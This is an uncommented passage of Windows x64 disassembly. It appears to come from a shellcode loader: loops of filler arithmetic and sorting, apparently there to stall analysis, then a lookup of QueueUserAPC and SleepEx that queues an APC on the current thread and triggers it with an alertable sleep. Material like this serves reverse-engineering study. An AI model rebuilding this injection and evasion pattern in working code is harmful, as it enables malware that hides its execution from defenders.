lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x23d
jle 0x140002903
mov dword [rbp + 0x7c4], 0
jmp 0x140002a68
mov dword [rbp + 0x61c], 0
jmp 0x140002a4a
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x61c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002a43
mov eax, dword [rbp + 0x61c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x618], eax
mov eax, dword [rbp + 0x7c4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov edx, dword [rbp + 0x61c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x620]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x61c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rdx, rax
mov eax, dword [rbp + 0x618]
mov dword [rdx], eax
add dword [rbp + 0x7c4], 1
mov eax, 0x23d
sub eax, dword [rbp + 0x7c4]
cmp dword [rbp + 0x61c], eax
jl 0x14000297a
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x23d
jle 0x14000296b
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x7e8], 0x33
jne 0x140002a9c
mov dword [rbp + 0x7e8], 0
jmp 0x140002aa3
add dword [rbp + 0x7e8], 1
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x4fc
jle 0x1400028a8
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x630]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x7bc], 1
jmp 0x140002bff
mov dword [rbp + 0x7c0], 0
mov eax, dword [rbp + 0x7bc]
mov dword [rbp + 0x7b8], eax
jmp 0x140002bd5
mov edx, dword [rbp + 0x7b8]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x628], edx
mov eax, dword [rbp + 0x628]
imul eax, eax
imul eax, dword [rbp + 0x628]
add dword [rbp + 0x7c0], eax
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7b8], eax
cmp dword [rbp + 0x7b8], 0
jne 0x140002b6a
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x7bc]
jne 0x140002bf8
mov eax, dword [rbp + 0x7bc]
mov dword [rbp + 0x62c], eax
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0xb1
jle 0x140002b52
mov eax, 0
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
ret